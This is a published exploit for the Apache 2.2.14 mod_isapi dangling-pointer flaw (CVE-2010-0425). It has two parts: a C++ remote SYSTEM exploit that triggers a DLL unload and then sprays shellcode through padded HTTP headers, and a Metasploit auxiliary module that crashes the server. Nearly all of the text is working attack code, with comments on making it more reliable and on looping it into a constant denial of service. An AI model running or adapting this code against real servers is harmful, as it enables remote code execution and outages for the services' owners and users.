Apache 'mod_isapi' Memory Corruption Vulnerability

                                                /*
 * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
 * ------------------------------------------------------------------------------
 *
 * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
 * 
 * Description:
 * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
 * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential 
 * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause 
 * a constant DoS by looping this (since apache will automatically restart) :)
 *
 * Note that the exploit code may need to be run multiple times before a shell is spawned (70%
 * success rate - tested on three different systems). Furthermore, the exploit code may require 
 * modification to exploit this vulnerability on different platforms. This is due to loaded memory 
 * references to the unloaded DLL (they will be different for each ISAPI module). Do not test
 * this code in a VM otherwise the code may fail to send the RESET packet (something to do with
 * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
 * to have to use raw packets on Windows. 
 *
 * Shellcode Note: 
 * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. 
 * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
 * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base 
 * address of msvcrt.dll instead. I've also added another check so that it will be able to detect
 * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
 * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of 
 * msvcrt.dll. So the added check will verify the presents of "m" before proceeding. 
 *
 * Author: 
 * Brett Gervasoni (brettg [at] senseofsecurity.com.au)
 *
 * Copyright Sense of Security Pty Ltd 2010. 
 * http://www.senseofsecurity.com.au
 */

#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>

#pragma comment(lib, "wsock32.lib")

using namespace std;

#define SERVER_PORT 80

void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();

WORD sockVersion;
WSADATA wsaData;

int sock;
struct sockaddr_in rserver;

int main(int argc, char *argv[])
{
	string serverIP, isapiDLL;
	string triggerVuln, payload;
	char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];

	//custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
	//Note: There are four NOPs at the end for padding. Not really needed. 
	char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"
					   "\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"
					   "\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"
					   "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"
					   "\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"
					   "\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
					   "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"
					   "\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"
					   "\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"
					   "\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"
					   "\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"
					   "\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"
					   "\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"
					   "\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"
					   "\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"
					   "\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";

	header();

	if (argc < 3)
	{
		printf("usage: %s <ip> <DLL>\n", argv[0]);
		return 1;
	}

	serverIP = string(argv[1]);
	isapiDLL = string(argv[2]);

	//all these values could be set to 7601 + sizeof(shellcode)
	//but mixing it up is good. 
	memset(accept, 'A', 170);
	memset(referer, 'A', 732);
	memset(cookie, 'A', 5375);
	memset(random, 'A', 7603);
	memset(postData, 'A', 23378);
	memset(footer, 'A', 298);

	triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
		"User-Agent: AAAAAAAA\r\n"
		"Pragma: no-cache\r\n"
		"Proxy-Connection: Keep-Alive\r\n"
		"Host: " + serverIP + "\r\n"
		"Content-Length: 40334\r\n\r\n" +
		string(footer);

	//Modify the below request if needed (depending on where your function pointer is pointing)
	//Do so by adding or removing headers. So if you want to hit a higher function pointer, 
	//keep adding headers :) 
	//Note: If performing this blindly, try it a few times, change a bit, try again. 
	//During testing i found that using a chunk of data the same size with the same header name
	//was more unreliable. In memory, large amounts of nulls are being placed either side of the 
	//payload. Since the function pointer address was random, by slightly mixing up the size of 
	//each header i would get better results.
	payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
		"Accept: " + string(accept) + "\r\n"
		"Referer: " + string(referer) + string(shellcode) + "\r\n"
		"From: " + string(cookie) + string(shellcode) + "\r\n"
		"Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"
		"Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
		"Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
		"UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
		"Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
		"User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
		"Cookie: " + string(cookie) + string(shellcode) + "\r\n"
		"Host: " + serverIP + "\r\n"
		"Proxy-Connection: Keep-Alive\r\n"
		"Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"
		"Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
		"Asdasda: " + string(random) + string(shellcode) + "\r\n"
		"Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
		"Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
		"Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
		"Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
		"Content-Length: 25054\r\n\r\n" + 
		string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);

	//Setup connection
	if (createConnection(serverIP, SERVER_PORT) == 1)
	{
		printf("- an error occurred connecting to the server\n");
		return 1;
	}

	printf("[+] Connected to %s.\n", serverIP.c_str());

	printf("[+] Setting socket data structure values\n");
	int iOptVal;
	int aiOptVal;
	
	struct linger linger_data;
	
	//This is meant to set closesocket to do a "graceful close",
	//however this is not the case when WSACancelBlockingCall() is called. A RESET packet is 
	//sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent. 
	linger_data.l_onoff = 0;
	linger_data.l_linger = 0;

	setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
	setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));

	//Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
	getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
	getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
	printf("    - SO_LINGER value is set to %ld\n", linger_data.l_onoff);
	printf("    - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);
	
	printf("[*] Triggering DLL unload\n");
	sendTransmission(triggerVuln);

	Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent. 
	WSACancelBlockingCall(); //Cause reset packet response

	Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
	closesocket(sock);

	Sleep(2000);
	WSACleanup();
	
	Sleep(2000);
	printf("[+] The DLL should be unloaded by now\n");
	
	//Reconnect to deliver payload
	if (createConnection(serverIP, SERVER_PORT) == 1)
	{
		printf("- an error occurred connecting to the server\n");
		return 1;
	}
	
	printf("[*] Sending payload\n");
	sendTransmission(payload);

	cleanUp();

	printf("[+] Check to see if sos.txt was created...\n");

	return 0;
}

void header()
{
	printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");
	printf("-------------------------------------------------------------\n");
	printf("         Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");
	printf("                    Copyright Sense of Security Pty Ltd 2010.\n");
}

//Setup the server
int createConnection(string serverIP, int port)
{
	int result = 0, len = 0;

	sockVersion = MAKEWORD(1,1);
	WSAStartup(sockVersion, &wsaData);
	
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("error: socket()\n");
		result = 1;
	}

	rserver.sin_family = AF_INET;
	rserver.sin_port = htons(port);
	rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
	memset(&rserver.sin_zero, 0, 8);

	len = sizeof(struct sockaddr_in);
	
	if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
	{
		perror("error: connect()\n");
		result = 1;
	}

	return result;
}

//Send a message
int sendTransmission(string message)
{
	int bytes_sent = 0;

	bytes_sent = send(sock, message.c_str(), message.length(), 0);
	if (bytes_sent < 0)
	{
		perror("error: send()\n");
		exit(1);
	}
	
	return bytes_sent;
}

//Receive a message
string recvTransmission()
{
	string result;
	char *c = new char[1];
	int bytes_recv = 0;

	while (c[0] != NULL)
	{
		bytes_recv = recv(sock, c, 1, 0);

		if (bytes_recv < 0)
		{
			perror("error: recv()\n");
			//exit(1);
		}

		result += c[0];
	}

	return result;
}

//Clean up the connection
void cleanUp()
{
	closesocket(sock);
	WSACleanup();
}



====================================================
##
# $Id: apache_mod_isapi.rb 8752 2010-03-08 23:21:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Apache mod_isapi <= 2.2.14 Dangling Pointer',
			'Description'    => %q{
					This module triggers a use-after-free vulnerability in the Apache Software
				Foundation mod_isapi extension. In order to reach the vulnerable code, the 
				target server must have an ISAPI module installed and configured.

				By making a request that terminates abnormally (either an aborted TCP connection or
				an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later,
				if another request comes for that ISAPI module, previously obtained pointers will 
				be used resulting in an access violation or potentially arbitrary code execution.

				Although arbitrary code execution is theoretically possible, a real-world method of 
				invoking this consequence has not been proven. In order to do so, one would need to
				find a situation where a particular ISAPI module loads at an image base address
				that can be re-allocated by a remote attacker.

				Limited success was encountered using two separate ISAPI modules. In this scenario,
				a second ISAPI module was loaded into the same memory area as the previously 
				unloaded module.
			},
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 8752 $',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2010-0425' ],
					[ 'BID', '38494' ],
					[ 'URL', 'https://issues.apache.org/bugzilla/show_bug.cgi?id=48509' ],
					[ 'URL', 'http://www.gossamer-threads.com/lists/apache/cvs/381537' ],
					[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/11650' ]
				],
			'DisclosureDate' => 'Mar 05 2010'))

		register_options([
			Opt::RPORT(80),
			OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])
		])
	end

	def run

		serverIP = datastore['RHOST']
		if (datastore['RPORT'] != 80)
			serverIP += ":" + datastore['RPORT']
		end
		isapiURI = datastore['ISAPI']

		# Create a stale pointer using the vulnerability
		print_status("Causing the ISAPI dll to be loaded and unloaded...")
		unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
			"Pragma: no-cache\r\n" +
			"Proxy-Connection: Keep-Alive\r\n" +
			"Host: " + serverIP + "\r\n" +
			"Transfer-Encoding: chunked\r\n" +
			"Content-Length: 40334\r\n\r\n" +
			Rex::Text.rand_text_alphanumeric(rand(128)+128)
		connect
		sock.put(unload_trigger)
		disconnect

		# Now make the stale pointer get used...
		print_status("Triggering the crash ...")
		data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)
		crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
			"Host: " + serverIP + "\r\n" +
			"Content-Length: #{data.length}\r\n\r\n" +
			data

		connect
		sock.put(crash_trigger)
		disconnect

	end

end